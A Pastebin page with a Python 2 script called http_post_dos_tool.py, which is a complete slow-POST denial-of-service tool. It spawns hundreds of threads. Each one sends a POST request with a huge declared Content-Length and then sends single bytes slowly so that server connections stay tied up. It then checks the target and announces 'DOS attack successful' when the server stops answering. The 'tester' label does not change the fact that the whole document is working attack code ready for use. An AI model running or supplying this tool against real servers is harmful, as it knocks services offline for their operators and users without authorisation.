Advertisement
mouhsineelachbi

http_post_dos_tool.py

Aug 11th, 2014
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.43 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import socket
  4. import threading
  5. import time
  6. import sys
  7.  
  8. class http_post_dos(threading.Thread):
  9.     target = ""
  10.     port = 0
  11.  
  12.     _socket = 0
  13.  
  14.     _running = False
  15.  
  16.     def __init__(self, target, port):
  17.         self.target = target
  18.         self.port = port
  19.  
  20.         threading.Thread.__init__(self)
  21.  
  22.     def stop(self):
  23.         self._running = False
  24.  
  25.     def run(self):
  26.         try:
  27.             self._running = True
  28.             self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
  29.             self._socket.connect((self.target, self.port))
  30.             self._send_http_post()
  31.             self._socket.close()
  32.  
  33.         except socket.error as e:
  34.             print e
  35.            
  36.  
  37.     def _send_http_post(self, pause=10):
  38.         self._socket.send("POST / HTTP/1.1\r\n"
  39.                           "Host: %s\r\n"
  40.                           "User-Agent: XPN HTTP DOS Tester\r\n"
  41.                           "Connection: keep-alive\r\n"
  42.                           "Keep-Alive: 900\r\n"
  43.                           "Content-Length: 100000000\r\n"
  44.                           "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.target))
  45.  
  46.         i = pause
  47.  
  48.         while self._running:
  49.             if i == pause:
  50.                 self._socket.send("X")
  51.                 i = pause
  52.  
  53.             i += 1
  54.             time.sleep(1)
  55.  
  56. def check_http_server(target, port):
  57.     try:
  58.             _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
  59.             _socket.settimeout(5)
  60.  
  61.             _socket.connect((target, port))
  62.  
  63.             _socket.send("GET / HTTP/1.1\r\n"
  64.                          "Host: %s\r\n"
  65.                          "User-Agent: XPN HTTP DOS Tester\r\n\r\n" % (target))
  66.  
  67.             http_data = _socket.recv(1024)
  68.  
  69.             if len(http_data) == 0:
  70.                 return True
  71.             else:
  72.                 return False
  73.  
  74.     except socket.timeout:
  75.         return True
  76.  
  77.     except socket.error as e:
  78.         print "[!] Error when checking HTTP server [%s]" % (e)
  79.  
  80. def print_logo():
  81.     print "\n+++++++++++++++++++++++++++++++++++++++++++++++"
  82.     print "+ HTTP Post DOS Checker                       +"
  83.     print "+    created by XPN                           +"
  84.     print "+                                             +"
  85.     print "+    http://xpnsbraindump.blogspot.com        +"
  86.     print "+++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  87.  
  88. def print_usage():
  89.     print "Usage: %s TARGET_SERVER TARGET_PORT [MAX_THREADS]\n" % (sys.argv[0])
  90.  
  91. def stop_all_workers(workers):
  92.     for worker in workers:
  93.         worker.stop()
  94.  
  95.  
  96. if __name__ == "__main__":
  97.  
  98.     workers = []
  99.     active = True
  100.     x = 0
  101.     target = ""
  102.     port = 80
  103.  
  104.     print_logo()
  105.  
  106.     try:
  107.         target = sys.argv[1]
  108.         port = int(sys.argv[2])
  109.  
  110.         if len(sys.argv) == 4:
  111.             maxthreads = int(sys.argv[3])
  112.         else:
  113.             maxthreads = 300
  114.     except:
  115.         print_usage()
  116.         quit()
  117.  
  118.  
  119.     print "Target [%s:%d]" % (target, port)
  120.  
  121.     print "[!] Spawning %d HTTP blocker threads" % (maxthreads)
  122.  
  123.     # spawn our threads
  124.  
  125.     try:
  126.  
  127.             while x < maxthreads:
  128.                 workers.append( http_post_dos(target, port) )
  129.                 workers[-1].start()
  130.                 x += 1
  131.  
  132.     except Exception as e:
  133.         print "[X] Error Spawning HTTP blocker threads [%s]" % (e)
  134.         print "[X] If error is due to threads, try lowering the count"
  135.         stop_all_workers(workers)
  136.         quit()
  137.  
  138.     print "[!] Spawned all HTTP blocker threads"
  139.      
  140.     while active:
  141.         try:
  142.             if threading.active_count() == 1:
  143.                 print "[!] Finished"
  144.                 active = False
  145.             else:
  146.                     if check_http_server(target, port):
  147.                         print "[/] Server is not responding to requests, DOS attack successful"
  148.                     else:
  149.                         print "[X] Server still responding to requests, try increasing thread count"
  150.  
  151.                     time.sleep(1)
  152.  
  153.         except KeyboardInterrupt:
  154.             print "[!] Sending Stop to All Threads"
  155.             stop_all_workers(workers)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement